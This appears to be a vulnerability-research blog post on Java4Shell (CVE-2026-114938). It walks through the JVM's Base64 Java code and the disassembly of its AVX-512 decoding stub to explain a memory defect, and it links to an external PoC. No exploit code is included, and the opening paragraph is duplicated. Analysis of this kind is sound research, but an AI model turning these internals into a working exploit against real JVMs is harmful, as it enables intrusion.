In this post, we will deep dive into Java4Shell (CVE-2026-114938). The goal is to present all the background needed to comprehensively understand the memory defect, and then observe the underflow and the out-of-bounds write live. Next, we will also discuss the shared PoC in https://calif.
In this post, we will deep dive into Java4Shell (CVE-2026-114938). The goal is to present all the background needed to comprehensively understand the memory defect, and then observe the underflow and the out-of-bounds write live. Next, we will also discuss the shared PoC in https://calif.io/java4shell.
ADRs can be very effective here, depending on the implementation, i.e. whether they inspect the Java runtime, profile native libraries, and monitor jvm/process behavior, rather than simply relying on naive Java instrumentation for probing (as an overflow could lead to JVM internal corruption, and if, say, a native library is properly profiled, it should not normally be involved in spawning a shell; data leakage is a bit harder to detect, and rce chains have not been publicly released...).
So basically, Base64 Encoding is a binary-to-text encoding that maps an input consisting of n bytes into an output of m bytes (m > n) so that the data can be safely interpreted and displayed as text. This is basically achieved by grouping blocks of 3 bytes and then mapping each 6-bit group to one Base64 alphabet character (which still requires 8 bits of storage).

So we end up with 4 characters, each stored using 8 bits, i.e., it maps an input of 24 bits to 32 bits. This means that the encoded output size is 4 times the input size divided by 3 (rounded up to the nearest multiple of 4 when padding is enabled), which can be confirmed here in Java:
private final int encodedOutLength(int srclen, boolean throwOOME) {
int len = 0;
try {
if (doPadding) {
len = Math.multiplyExact(4, (Math.addExact(srclen, 2) / 3));
} else {
int n = srclen % 3;
len = Math.addExact(Math.multiplyExact(4, (srclen / 3)), (n == 0 ? 0 : n + 1));
}
if (linemax > 0) { // line separators
len = Math.addExact(len, (len - 1) / linemax * newline.length);
}
} catch (ArithmeticException ex) {
if (throwOOME) {
throw new OutOfMemoryError("Encoded size is too large");
} else {
// let the caller know that encoded bytes length
// is too large
len = -1;
}
}
return len;
}As listed below, 3 loads are performed to produce 4 stores.
@IntrinsicCandidate
private void encodeBlock(byte[] src, int sp, int sl, byte[] dst, int dp, boolean isURL) {
char[] base64 = isURL ? toBase64URL : toBase64;
for (int sp0 = sp, dp0 = dp ; sp0 < sl; ) {
int bits = (src[sp0++] & 0xff) << 16 |
(src[sp0++] & 0xff) << 8 |
(src[sp0++] & 0xff);
dst[dp0++] = (byte)base64[(bits >>> 18) & 0x3f];
dst[dp0++] = (byte)base64[(bits >>> 12) & 0x3f];
dst[dp0++] = (byte)base64[(bits >>> 6) & 0x3f];
dst[dp0++] = (byte)base64[bits & 0x3f];
}
}This is illustrated below

Now let's look at the decoding process, as this is where the defect exists. But first, we cover the JVM decoding logic, and then we inspect the native routine employed when the function is in a hot state, i.e. when the JIT kicks in.
The first thing the JVM does is allocate a destination buffer using the inverse of the arithmetic used before, i.e., 3 times the input length divided by 4, minus the padding bytes.
private int decodedOutLength(byte[] src, int sp, int sl) {
int[] base64 = isURL ? fromBase64URL : fromBase64;
int paddings = 0;
int len = sl - sp;
if (len == 0)
return 0;
if (len < 2) {
if (isMIME && base64[0] == -1)
return 0;
throw new IllegalArgumentException(
"Input byte[] should at least have 2 bytes for base64 bytes");
}
if (isMIME) {
// scan all bytes to fill out all non-alphabet. a performance
// trade-off of pre-scan or Arrays.copyOf
int n = 0;
while (sp < sl) {
int b = src[sp++] & 0xff;
if (b == '=') {
len -= (sl - sp + 1);
break;
}
if ((b = base64[b]) == -1)
n++;
}
len -= n;
} else {
if (src[sl - 1] == '=') {
paddings++;
if (src[sl - 2] == '=')
paddings++;
}
}
if (paddings == 0 && (len & 0x3) != 0)
paddings = 4 - (len & 0x3);
// If len is near to Integer.MAX_VALUE, (len + 3)
// can possibly overflow, perform this operation as
// long and cast it back to integer when the value comes under
// integer limit. The final value will always be in integer
// limits
return 3 * (int) ((len + 3L) / 4) - paddings;
}Next, there are two possible paths:
private int decode0(byte[] src, int sp, int sl, byte[] dst) {
int[] base64 = isURL ? fromBase64URL : fromBase64;
int dp = 0;
int bits = 0;
int shiftto = 18; // pos of first byte of 4-byte atom
while (sp < sl) {
if (shiftto == 18 && sp < sl - 4) { // fast path
int dl = decodeBlock(src, sp, sl, dst, dp, isURL, isMIME);
/*
* Calculate how many characters were processed by how many
* bytes of data were returned.
*/
int chars_decoded = ((dl + 2) / 3) * 4;
sp += chars_decoded;
dp += dl;
}
if (sp >= sl) {
// we're done
break;
}
int b = src[sp++] & 0xff;
if ((b = base64[b]) < 0) {
if (b == -2) { // padding byte '='
// = shiftto==18 unnecessary padding
// x= shiftto==12 a dangling single x
// x to be handled together with non-padding case
// xx= shiftto==6&&sp==sl missing last =
// xx=y shiftto==6 last is not =
if (shiftto == 6 && (sp == sl || src[sp++] != '=') ||
shiftto == 18) {
throw new IllegalArgumentException(
"Input byte array has wrong 4-byte ending unit");
}
break;
}
if (isMIME) // skip if for rfc2045
continue;
else
throw new IllegalArgumentException(
"Illegal base64 character " +
Integer.toString(src[sp - 1], 16));
}
bits |= (b << shiftto);
shiftto -= 6;
if (shiftto < 0) {
dst[dp++] = (byte)(bits >> 16);
dst[dp++] = (byte)(bits >> 8);
dst[dp++] = (byte)(bits);
shiftto = 18;
bits = 0;
}
}
// reached end of byte array or hit padding '=' characters.
if (shiftto == 6) {
dst[dp++] = (byte)(bits >> 16);
} else if (shiftto == 0) {
dst[dp++] = (byte)(bits >> 16);
dst[dp++] = (byte)(bits >> 8);
} else if (shiftto == 12) {
// dangling single "x", incorrectly encoded.
throw new IllegalArgumentException(
"Last unit does not have enough valid bits");
}
// anything left is invalid, if is not MIME.
// if MIME, ignore all non-base64 character
while (sp < sl) {
if (isMIME && base64[src[sp++] & 0xff] < 0)
continue;
throw new IllegalArgumentException(
"Input byte array has incorrect ending byte at " + sp);
}
return dp;
}
}
First, the fast path. This is the routine that gets replaced by its native counterpart hosting the defect. It basically processes data in blocks and packs the result, similarly to what we covered earlier. The native implementation also uses unrolling to process multiple blocks. This is illustrated below:

If any of the blocks contains an invalid character, it exits and delegates to the slow path.
@IntrinsicCandidate
private int decodeBlock(byte[] src, int sp, int sl, byte[] dst, int dp, boolean isURL, boolean isMIME) {
int[] base64 = isURL ? fromBase64URL : fromBase64;
int sl0 = sp + ((sl - sp) & ~0b11);
int new_dp = dp;
while (sp < sl0) {
int b1 = base64[src[sp++] & 0xff];
int b2 = base64[src[sp++] & 0xff];
int b3 = base64[src[sp++] & 0xff];
int b4 = base64[src[sp++] & 0xff];
if ((b1 | b2 | b3 | b4) < 0) { // non base64 byte
return new_dp - dp;
}
int bits0 = b1 << 18 | b2 << 12 | b3 << 6 | b4;
dst[new_dp++] = (byte)(bits0 >> 16);
dst[new_dp++] = (byte)(bits0 >> 8);
dst[new_dp++] = (byte)(bits0);
}
return new_dp - dp;
}Now, if we look at the slow path, it collects a group of four Base64 characters and only then performs the store of the three decoded bytes, i.e., it does this iteratively. If it turns out that a mapped Base64 value is negative, this means either that it is padding, i.e., = maps to -2, in which case it is ignored, or that it is an illegal character, in which case the JVM reports an error.

So a malformed input such as the one we will be investigating will simply lead to Input byte array has wrong 4-byte ending unit, and that's it. This is why the normal Java path is not vulnerable. Now let's cover the defect.
while (sp < sl) {
if (shiftto == 18 && sp < sl - 4) { // fast path
int dl = decodeBlock(src, sp, sl, dst, dp, isURL, isMIME);
/*
* Calculate how many characters were processed by how many
* bytes of data were returned.
*/
int chars_decoded = ((dl + 2) / 3) * 4;
sp += chars_decoded;
dp += dl;
}
if (sp >= sl) {
// we're done
break;
}
int b = src[sp++] & 0xff;
if ((b = base64[b]) < 0) {
if (b == -2) { // padding byte '='
// = shiftto==18 unnecessary padding
// x= shiftto==12 a dangling single x
// x to be handled together with non-padding case
// xx= shiftto==6&&sp==sl missing last =
// xx=y shiftto==6 last is not =
if (shiftto == 6 && (sp == sl || src[sp++] != '=') ||
shiftto == 18) {
throw new IllegalArgumentException(
"Input byte array has wrong 4-byte ending unit");
}
break;
}
if (isMIME) // skip if for rfc2045
continue;
else
throw new IllegalArgumentException(
"Illegal base64 character " +
Integer.toString(src[sp - 1], 16));
}
bits |= (b << shiftto);
shiftto -= 6;
if (shiftto < 0) {
dst[dp++] = (byte)(bits >> 16);
dst[dp++] = (byte)(bits >> 8);
dst[dp++] = (byte)(bits);
shiftto = 18;
bits = 0;
}
}When performing the same instruction on different data, the instruction fetch and decode units fetch and decode the same instruction but with different operands. This is where vector hardware comes in. The idea is to reduce the instruction fetching and decoding overhead and instead perform a single instruction on multiple data elements, i.e. SIMD (Single Instruction, Multiple Data).
The Base64 decoding routine is optimized to use vector hardware to accelerate the decoding process. The routine responsible for generating the machine code is StubGenerator::generate_base64_decodeBlock(), and here is what the generated assembly code looks like.
7aa2a3dc18c0: 55 push rbp
7aa2a3dc18c1: 48 8b ec mov rbp,rsp
7aa2a3dc18c4: 41 54 push r12
7aa2a3dc18c6: 41 55 push r13
7aa2a3dc18c8: 41 56 push r14
7aa2a3dc18ca: 41 57 push r15
7aa2a3dc18cc: 53 push rbx
7aa2a3dc18cd: 8b 5d 10 mov ebx,DWORD PTR [rbp+0x10]
7aa2a3dc18d0: 44 8b f2 mov r14d,edx
7aa2a3dc18d3: 44 2b f6 sub r14d,esi
7aa2a3dc18d6: 51 push rcx
7aa2a3dc18d7: 41 83 fe 1f cmp r14d,0x1f
7aa2a3dc18db: 0f 8e ee 03 00 00 jle 0x7aa2a3dc1ccf
7aa2a3dc18e1: 83 fb 00 cmp ebx,0x0
7aa2a3dc18e4: 0f 85 e5 03 00 00 jne 0x7aa2a3dc1ccf
7aa2a3dc18ea: 41 83 f9 00 cmp r9d,0x0
7aa2a3dc18ee: 0f 85 9c 02 00 00 jne 0x7aa2a3dc1b90
7aa2a3dc18f4: 62 f1 fe 48 6f 2d 42 vmovdqu64 zmm5,ZMMWORD PTR [rip+0xfffffffffffff942] # 0x7aa2a3dc1240
7aa2a3dc18fb: f9 ff ff
7aa2a3dc18fe: 62 f1 fe 48 6f 35 78 vmovdqu64 zmm6,ZMMWORD PTR [rip+0xfffffffffffff978] # 0x7aa2a3dc1280
7aa2a3dc1905: f9 ff ff
7aa2a3dc1908: 41 bf 40 01 40 01 mov r15d,0x1400140
7aa2a3dc190e: 62 52 7d 48 7c cf vpbroadcastd zmm9,r15d
7aa2a3dc1914: 41 bf 00 10 01 00 mov r15d,0x11000
7aa2a3dc191a: 62 52 7d 48 7c c7 vpbroadcastd zmm8,r15d
7aa2a3dc1920: 41 81 fe ff 00 00 00 cmp r14d,0xff
7aa2a3dc1927: 0f 8e 29 01 00 00 jle 0x7aa2a3dc1a56
7aa2a3dc192d: 62 71 fe 48 6f 25 49 vmovdqu64 zmm12,ZMMWORD PTR [rip+0xfffffffffffffa49] # 0x7aa2a3dc1380
7aa2a3dc1934: fa ff ff
7aa2a3dc1937: 62 71 fe 48 6f 1d 7f vmovdqu64 zmm11,ZMMWORD PTR [rip+0xfffffffffffffa7f] # 0x7aa2a3dc13c0
7aa2a3dc193e: fa ff ff
7aa2a3dc1941: 62 71 fe 48 6f 15 b5 vmovdqu64 zmm10,ZMMWORD PTR [rip+0xfffffffffffffab5] # 0x7aa2a3dc1400
7aa2a3dc1948: fa ff ff
7aa2a3dc194b: 66 66 66 0f 1f 84 00 data16 data16 nop WORD PTR [rax+rax*1+0x0]
7aa2a3dc1952: 00 00 00 00
7aa2a3dc1956: 66 66 0f 1f 84 00 00 data16 nop WORD PTR [rax+rax*1+0x0]
7aa2a3dc195d: 00 00 00
7aa2a3dc1960: 62 f1 fe 48 6f 1c 37 vmovdqu64 zmm3,ZMMWORD PTR [rdi+rsi*1]
7aa2a3dc1967: 62 e1 fe 48 6f 64 37 vmovdqu64 zmm20,ZMMWORD PTR [rdi+rsi*1+0x40]
7aa2a3dc196e: 01
7aa2a3dc196f: 62 e1 fe 48 6f 6c 37 vmovdqu64 zmm21,ZMMWORD PTR [rdi+rsi*1+0x80]
7aa2a3dc1976: 02
7aa2a3dc1977: 62 e1 fe 48 6f 5c 37 vmovdqu64 zmm19,ZMMWORD PTR [rdi+rsi*1+0xc0]
7aa2a3dc197e: 03
7aa2a3dc197f: 62 f1 fe 48 6f d5 vmovdqu64 zmm2,zmm5
7aa2a3dc1985: 62 f1 fe 48 6f cd vmovdqu64 zmm1,zmm5
7aa2a3dc198b: 62 f1 fe 48 6f c5 vmovdqu64 zmm0,zmm5
7aa2a3dc1991: 62 f1 fe 48 6f e5 vmovdqu64 zmm4,zmm5
7aa2a3dc1997: 62 f2 65 48 7d d6 vpermt2b zmm2,zmm3,zmm6
7aa2a3dc199d: 62 f2 5d 40 7d ce vpermt2b zmm1,zmm20,zmm6
7aa2a3dc19a3: 62 f2 55 40 7d c6 vpermt2b zmm0,zmm21,zmm6
7aa2a3dc19a9: 62 f2 65 40 7d e6 vpermt2b zmm4,zmm19,zmm6
7aa2a3dc19af: 62 b3 5d 40 25 dd fe vpternlogd zmm3,zmm20,zmm21,0xfe
7aa2a3dc19b6: 62 e3 6d 48 25 d9 fe vpternlogd zmm19,zmm2,zmm1,0xfe
7aa2a3dc19bd: 62 f3 7d 48 25 dc fe vpternlogd zmm3,zmm0,zmm4,0xfe
7aa2a3dc19c4: 62 f1 65 40 eb fb vpord zmm7,zmm19,zmm3
7aa2a3dc19ca: 62 f2 7e 48 29 df vpmovb2m k3,zmm7
7aa2a3dc19d0: c4 e1 f8 98 db kortestq k3,k3
7aa2a3dc19d5: 0f 85 7b 00 00 00 jne 0x7aa2a3dc1a56
7aa2a3dc19db: 62 d2 6d 48 04 d1 vpmaddubsw zmm2,zmm2,zmm9
7aa2a3dc19e1: 62 d2 75 48 04 c9 vpmaddubsw zmm1,zmm1,zmm9
7aa2a3dc19e7: 62 d2 7d 48 04 c1 vpmaddubsw zmm0,zmm0,zmm9
7aa2a3dc19ed: 62 d2 5d 48 04 e1 vpmaddubsw zmm4,zmm4,zmm9
7aa2a3dc19f3: 62 d1 6d 48 f5 d0 vpmaddwd zmm2,zmm2,zmm8
7aa2a3dc19f9: 62 d1 75 48 f5 c8 vpmaddwd zmm1,zmm1,zmm8
7aa2a3dc19ff: 62 d1 7d 48 f5 c0 vpmaddwd zmm0,zmm0,zmm8
7aa2a3dc1a05: 62 d1 5d 48 f5 e0 vpmaddwd zmm4,zmm4,zmm8
7aa2a3dc1a0b: 62 f2 1d 48 7d d1 vpermt2b zmm2,zmm12,zmm1
7aa2a3dc1a11: 62 f2 25 48 7d c8 vpermt2b zmm1,zmm11,zmm0
7aa2a3dc1a17: 62 f2 2d 48 7d c4 vpermt2b zmm0,zmm10,zmm4
7aa2a3dc1a1d: 62 b1 fe 48 7f 14 01 vmovdqu64 ZMMWORD PTR [rcx+r8*1],zmm2
7aa2a3dc1a24: 62 b1 fe 48 7f 4c 01 vmovdqu64 ZMMWORD PTR [rcx+r8*1+0x40],zmm1
7aa2a3dc1a2b: 01
7aa2a3dc1a2c: 62 b1 fe 48 7f 44 01 vmovdqu64 ZMMWORD PTR [rcx+r8*1+0x80],zmm0
7aa2a3dc1a33: 02
7aa2a3dc1a34: 48 81 c7 00 01 00 00 add rdi,0x100
7aa2a3dc1a3b: 48 81 c1 c0 00 00 00 add rcx,0xc0
7aa2a3dc1a42: 41 81 ee 00 01 00 00 sub r14d,0x100
7aa2a3dc1a49: 41 81 fe 00 01 00 00 cmp r14d,0x100
7aa2a3dc1a50: 0f 8d 0a ff ff ff jge 0x7aa2a3dc1960
7aa2a3dc1a56: 62 f1 fe 48 6f 25 e0 vmovdqu64 zmm4,ZMMWORD PTR [rip+0xfffffffffffff8e0] # 0x7aa2a3dc1340
7aa2a3dc1a5d: f8 ff ff
7aa2a3dc1a60: 41 83 fe 3f cmp r14d,0x3f
7aa2a3dc1a64: 0f 8e 75 00 00 00 jle 0x7aa2a3dc1adf
7aa2a3dc1a6a: 48 b8 ff ff ff ff ff movabs rax,0xffffffffffff
7aa2a3dc1a71: ff 00 00
7aa2a3dc1a74: c4 e1 fb 92 d0 kmovq k2,rax
7aa2a3dc1a79: 0f 1f 80 00 00 00 00 nop DWORD PTR [rax+0x0]
7aa2a3dc1a80: 62 f1 fe 48 6f 1c 37 vmovdqu64 zmm3,ZMMWORD PTR [rdi+rsi*1]
7aa2a3dc1a87: 62 f1 fe 48 6f d5 vmovdqu64 zmm2,zmm5
7aa2a3dc1a8d: 62 f2 65 48 7d d6 vpermt2b zmm2,zmm3,zmm6
7aa2a3dc1a93: 62 f1 6d 48 eb fb vpord zmm7,zmm2,zmm3
7aa2a3dc1a99: 62 f2 7e 48 29 df vpmovb2m k3,zmm7
7aa2a3dc1a9f: c4 e1 f8 98 db kortestq k3,k3
7aa2a3dc1aa4: 0f 85 d1 00 00 00 jne 0x7aa2a3dc1b7b
7aa2a3dc1aaa: 62 d2 6d 48 04 d1 vpmaddubsw zmm2,zmm2,zmm9
7aa2a3dc1ab0: 62 d1 6d 48 f5 d0 vpmaddwd zmm2,zmm2,zmm8
7aa2a3dc1ab6: 62 f2 5d 48 8d d2 vpermb zmm2,zmm4,zmm2
7aa2a3dc1abc: 62 b1 7f 4a 7f 14 01 vmovdqu8 ZMMWORD PTR [rcx+r8*1]{k2},zmm2
7aa2a3dc1ac3: 41 83 ee 40 sub r14d,0x40
7aa2a3dc1ac7: 48 83 c7 40 add rdi,0x40
7aa2a3dc1acb: 48 83 c1 30 add rcx,0x30
7aa2a3dc1acf: 41 83 fe 40 cmp r14d,0x40
7aa2a3dc1ad3: 7d ab jge 0x7aa2a3dc1a80
7aa2a3dc1ad5: 41 83 fe 00 cmp r14d,0x0
7aa2a3dc1ad9: 0f 8e 9c 00 00 00 jle 0x7aa2a3dc1b7b
7aa2a3dc1adf: 48 c7 c0 ff ff ff ff mov rax,0xffffffffffffffff
7aa2a3dc1ae6: c4 e2 88 f5 c0 bzhi rax,rax,r14
7aa2a3dc1aeb: 45 8b ee mov r13d,r14d
7aa2a3dc1aee: 41 c1 ed 02 shr r13d,0x2
7aa2a3dc1af2: 4f 8d 6c 6d 00 lea r13,[r13+r13*2+0x0]
7aa2a3dc1af7: 4c 03 f6 add r14,rsi
7aa2a3dc1afa: 42 80 7c 37 ff 3d cmp BYTE PTR [rdi+r14*1-0x1],0x3d
7aa2a3dc1b00: 0f 84 a3 00 00 00 je 0x7aa2a3dc1ba9
7aa2a3dc1b06: 4c 2b f6 sub r14,rsi
7aa2a3dc1b09: c4 e1 fb 92 c8 kmovq k1,rax
7aa2a3dc1b0e: 49 c7 c7 ff ff ff ff mov r15,0xffffffffffffffff
7aa2a3dc1b15: c4 42 90 f5 ff bzhi r15,r15,r13
7aa2a3dc1b1a: b8 61 61 61 61 mov eax,0x61616161
7aa2a3dc1b1f: 62 f2 7d 48 7c c0 vpbroadcastd zmm0,eax
7aa2a3dc1b25: b8 80 80 80 80 mov eax,0x80808080
7aa2a3dc1b2a: 62 f2 7d 48 7c c8 vpbroadcastd zmm1,eax
7aa2a3dc1b30: 62 f1 7f 49 6f 04 37 vmovdqu8 zmm0{k1},ZMMWORD PTR [rdi+rsi*1]
7aa2a3dc1b37: 62 71 fe 48 6f d5 vmovdqu64 zmm10,zmm5
7aa2a3dc1b3d: 62 72 7d 48 7d d6 vpermt2b zmm10,zmm0,zmm6
7aa2a3dc1b43: 62 f1 ad 48 eb c0 vporq zmm0,zmm10,zmm0
7aa2a3dc1b49: 62 f2 7d 48 26 d1 vptestmb k2,zmm0,zmm1
7aa2a3dc1b4f: c4 e1 f8 98 d2 kortestq k2,k2
7aa2a3dc1b54: 0f 85 86 00 00 00 jne 0x7aa2a3dc1be0
7aa2a3dc1b5a: 62 52 2d 48 04 d1 vpmaddubsw zmm10,zmm10,zmm9
7aa2a3dc1b60: 62 51 2d 48 f5 d0 vpmaddwd zmm10,zmm10,zmm8
7aa2a3dc1b66: 62 52 5d 48 8d d2 vpermb zmm10,zmm4,zmm10
7aa2a3dc1b6c: c4 c1 fb 92 cf kmovq k1,r15
7aa2a3dc1b71: 62 31 7f 49 7f 14 01 vmovdqu8 ZMMWORD PTR [rcx+r8*1]{k1},zmm10
7aa2a3dc1b78: 49 03 cd add rcx,r13
7aa2a3dc1b7b: c5 f8 77 vzeroupper
7aa2a3dc1b7e: 58 pop rax
7aa2a3dc1b7f: 48 2b c8 sub rcx,rax
7aa2a3dc1b82: 48 8b c1 mov rax,rcx
7aa2a3dc1b85: 5b pop rbx
7aa2a3dc1b86: 41 5f pop r15
7aa2a3dc1b88: 41 5e pop r14
7aa2a3dc1b8a: 41 5d pop r13
7aa2a3dc1b8c: 41 5c pop r12
7aa2a3dc1b8e: c9 leave
7aa2a3dc1b8f: c3 ret
7aa2a3dc1b90: 62 f1 fe 48 6f 2d 26 vmovdqu64 zmm5,ZMMWORD PTR [rip+0xfffffffffffff726] # 0x7aa2a3dc12c0
7aa2a3dc1b97: f7 ff ff
7aa2a3dc1b9a: 62 f1 fe 48 6f 35 5c vmovdqu64 zmm6,ZMMWORD PTR [rip+0xfffffffffffff75c] # 0x7aa2a3dc1300
7aa2a3dc1ba1: f7 ff ff
7aa2a3dc1ba4: e9 5f fd ff ff jmp 0x7aa2a3dc1908
7aa2a3dc1ba9: 49 ff cd dec r13
7aa2a3dc1bac: 48 d1 e8 shr rax,1
7aa2a3dc1baf: 42 80 7c 37 fe 3d cmp BYTE PTR [rdi+r14*1-0x2],0x3d
7aa2a3dc1bb5: 0f 85 4b ff ff ff jne 0x7aa2a3dc1b06
7aa2a3dc1bbb: 49 ff cd dec r13
7aa2a3dc1bbe: 48 d1 e8 shr rax,1
7aa2a3dc1bc1: e9 40 ff ff ff jmp 0x7aa2a3dc1b06
7aa2a3dc1bc6: 66 66 66 0f 1f 84 00 data16 data16 nop WORD PTR [rax+rax*1+0x0]
7aa2a3dc1bcd: 00 00 00 00
7aa2a3dc1bd1: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0]
7aa2a3dc1bd8: 00
7aa2a3dc1bd9: 0f 1f 80 00 00 00 00 nop DWORD PTR [rax+0x0]
7aa2a3dc1be0: 83 fb 00 cmp ebx,0x0
7aa2a3dc1be3: 0f 85 e6 00 00 00 jne 0x7aa2a3dc1ccf
7aa2a3dc1be9: 41 83 ee 2c sub r14d,0x2c
7aa2a3dc1bed: 0f 8c d5 00 00 00 jl 0x7aa2a3dc1cc8
7aa2a3dc1bf3: 41 c1 e1 02 shl r9d,0x2
7aa2a3dc1bf7: 49 bd 40 10 dc a3 a2 movabs r13,0x7aa2a3dc1040
7aa2a3dc1bfe: 7a 00 00
7aa2a3dc1c01: c4 82 7d 58 64 0d 00 vpbroadcastd ymm4,DWORD PTR [r13+r9*1+0x0]
7aa2a3dc1c08: c4 02 7d 58 54 0d 08 vpbroadcastd ymm10,DWORD PTR [r13+r9*1+0x8]
7aa2a3dc1c0f: c4 41 7e 6f 65 10 vmovdqu ymm12,YMMWORD PTR [r13+0x10]
7aa2a3dc1c15: c4 41 7e 6f 6d 30 vmovdqu ymm13,YMMWORD PTR [r13+0x30]
7aa2a3dc1c1b: c4 c2 7d 58 7d 50 vpbroadcastd ymm7,DWORD PTR [r13+0x50]
7aa2a3dc1c21: c4 c2 7d 58 75 54 vpbroadcastd ymm6,DWORD PTR [r13+0x54]
7aa2a3dc1c27: 49 bd c0 10 dc a3 a2 movabs r13,0x7aa2a3dc10c0
7aa2a3dc1c2e: 7a 00 00
7aa2a3dc1c31: 41 c1 e1 04 shl r9d,0x4
7aa2a3dc1c35: c4 01 7e 6f 5c 0d 00 vmovdqu ymm11,YMMWORD PTR [r13+r9*1+0x0]
7aa2a3dc1c3c: c4 01 7e 6f 44 0d 20 vmovdqu ymm8,YMMWORD PTR [r13+r9*1+0x20]
7aa2a3dc1c43: 41 c1 e9 06 shr r9d,0x6
7aa2a3dc1c47: c4 41 7e 6f 8d 80 00 vmovdqu ymm9,YMMWORD PTR [r13+0x80]
7aa2a3dc1c4e: 00 00
7aa2a3dc1c50: e9 3a 00 00 00 jmp 0x7aa2a3dc1c8f
7aa2a3dc1c55: 66 66 66 0f 1f 84 00 data16 data16 nop WORD PTR [rax+rax*1+0x0]
7aa2a3dc1c5c: 00 00 00 00
7aa2a3dc1c60: c5 fd fc c2 vpaddb ymm0,ymm0,ymm2
7aa2a3dc1c64: c4 e2 7d 04 c7 vpmaddubsw ymm0,ymm0,ymm7
7aa2a3dc1c69: c5 fd f5 c6 vpmaddwd ymm0,ymm0,ymm6
7aa2a3dc1c6d: c4 c2 7d 00 c5 vpshufb ymm0,ymm0,ymm13
7aa2a3dc1c72: c4 e2 1d 36 c0 vpermd ymm0,ymm12,ymm0
7aa2a3dc1c77: c4 a1 7e 7f 04 01 vmovdqu YMMWORD PTR [rcx+r8*1],ymm0
7aa2a3dc1c7d: 48 83 c7 20 add rdi,0x20
7aa2a3dc1c81: 48 83 c1 18 add rcx,0x18
7aa2a3dc1c85: 41 83 ee 20 sub r14d,0x20
7aa2a3dc1c89: 0f 8c 39 00 00 00 jl 0x7aa2a3dc1cc8
7aa2a3dc1c8f: c5 fe 6f 14 37 vmovdqu ymm2,YMMWORD PTR [rdi+rsi*1]
7aa2a3dc1c94: c5 f5 72 d2 04 vpsrld ymm1,ymm2,0x4
7aa2a3dc1c99: c5 dd db c9 vpand ymm1,ymm4,ymm1
7aa2a3dc1c9d: c5 ed db dc vpand ymm3,ymm2,ymm4
7aa2a3dc1ca1: c5 dd 74 c2 vpcmpeqb ymm0,ymm4,ymm2
7aa2a3dc1ca5: c4 e2 25 00 db vpshufb ymm3,ymm11,ymm3
7aa2a3dc1caa: c4 e2 35 00 e9 vpshufb ymm5,ymm9,ymm1
7aa2a3dc1caf: c5 fd df db vpandn ymm3,ymm0,ymm3
7aa2a3dc1cb3: c4 c1 7d db c2 vpand ymm0,ymm0,ymm10
7aa2a3dc1cb8: c4 e2 7d 17 dd vptest ymm3,ymm5
7aa2a3dc1cbd: c5 fd fc c1 vpaddb ymm0,ymm0,ymm1
7aa2a3dc1cc1: c4 e2 3d 00 c0 vpshufb ymm0,ymm8,ymm0
7aa2a3dc1cc6: 74 98 je 0x7aa2a3dc1c60
7aa2a3dc1cc8: 41 83 c6 2c add r14d,0x2c
7aa2a3dc1ccc: c5 f8 77 vzeroupper
7aa2a3dc1ccf: 41 c1 ee 02 shr r14d,0x2
7aa2a3dc1cd3: 41 83 fe 00 cmp r14d,0x0
7aa2a3dc1cd7: 0f 8e 95 00 00 00 jle 0x7aa2a3dc1d72
7aa2a3dc1cdd: 41 c1 e1 08 shl r9d,0x8
7aa2a3dc1ce1: 49 bb 40 14 dc a3 a2 movabs r11,0x7aa2a3dc1440
7aa2a3dc1ce8: 7a 00 00
7aa2a3dc1ceb: 4d 03 d9 add r11,r9
7aa2a3dc1cee: e9 48 00 00 00 jmp 0x7aa2a3dc1d3b
7aa2a3dc1cf3: 0f 1f 80 00 00 00 00 nop DWORD PTR [rax+0x0]
7aa2a3dc1cfa: 66 0f 1f 44 00 00 nop WORD PTR [rax+rax*1+0x0]
7aa2a3dc1d00: 41 c1 e5 12 shl r13d,0x12
7aa2a3dc1d04: 41 c1 e7 0c shl r15d,0xc
7aa2a3dc1d08: c1 e2 06 shl edx,0x6
7aa2a3dc1d0b: 45 0b ef or r13d,r15d
7aa2a3dc1d0e: 44 0b ea or r13d,edx
7aa2a3dc1d11: 45 0b e9 or r13d,r9d
7aa2a3dc1d14: 48 83 c7 04 add rdi,0x4
7aa2a3dc1d18: 46 88 6c 01 02 mov BYTE PTR [rcx+r8*1+0x2],r13b
7aa2a3dc1d1d: 41 c1 ed 08 shr r13d,0x8
7aa2a3dc1d21: 46 88 6c 01 01 mov BYTE PTR [rcx+r8*1+0x1],r13b
7aa2a3dc1d26: 41 c1 ed 08 shr r13d,0x8
7aa2a3dc1d2a: 46 88 2c 01 mov BYTE PTR [rcx+r8*1],r13b
7aa2a3dc1d2e: 48 83 c1 03 add rcx,0x3
7aa2a3dc1d32: 41 ff ce dec r14d
7aa2a3dc1d35: 0f 84 37 00 00 00 je 0x7aa2a3dc1d72
7aa2a3dc1d3b: 44 0f b6 2c 37 movzx r13d,BYTE PTR [rdi+rsi*1]
7aa2a3dc1d40: 44 0f b6 7c 37 01 movzx r15d,BYTE PTR [rdi+rsi*1+0x1]
7aa2a3dc1d46: 47 0f be 2c 2b movsx r13d,BYTE PTR [r11+r13*1]
7aa2a3dc1d4b: 47 0f be 3c 3b movsx r15d,BYTE PTR [r11+r15*1]
7aa2a3dc1d50: 0f b6 54 37 02 movzx edx,BYTE PTR [rdi+rsi*1+0x2]
7aa2a3dc1d55: 44 0f b6 4c 37 03 movzx r9d,BYTE PTR [rdi+rsi*1+0x3]
7aa2a3dc1d5b: 41 0f be 14 13 movsx edx,BYTE PTR [r11+rdx*1]
7aa2a3dc1d60: 47 0f be 0c 0b movsx r9d,BYTE PTR [r11+r9*1]
7aa2a3dc1d65: 49 8b c5 mov rax,r13
7aa2a3dc1d68: 41 0b c7 or eax,r15d
7aa2a3dc1d6b: 0b c2 or eax,edx
7aa2a3dc1d6d: 41 0b c1 or eax,r9d
7aa2a3dc1d70: 79 8e jns 0x7aa2a3dc1d00
7aa2a3dc1d72: 58 pop rax
7aa2a3dc1d73: 48 2b c8 sub rcx,rax
7aa2a3dc1d76: 48 8b c1 mov rax,rcx
7aa2a3dc1d79: 5b pop rbx
7aa2a3dc1d7a: 41 5f pop r15
7aa2a3dc1d7c: 41 5e pop r14
7aa2a3dc1d7e: 41 5d pop r13
7aa2a3dc1d80: 41 5c pop r12
7aa2a3dc1d82: c9 leave
7aa2a3dc1d83: c3 retThe above lists the code produced for the vectorized decoding routine. rdi points to the input buffer, while rcx points to the destination buffer. The r14d register holds the remaining input size.

The instructions vmovdqu64 -0x6be(%rip),%zmm5 and vmovdqu64 -0x688(%rip),%zmm6 load the lookup tables.

If the input contains at least 256 bytes, then loop unrolling is used, and 4 blocks of 64 bytes are processed at the same time to increase instruction-level parallelism.
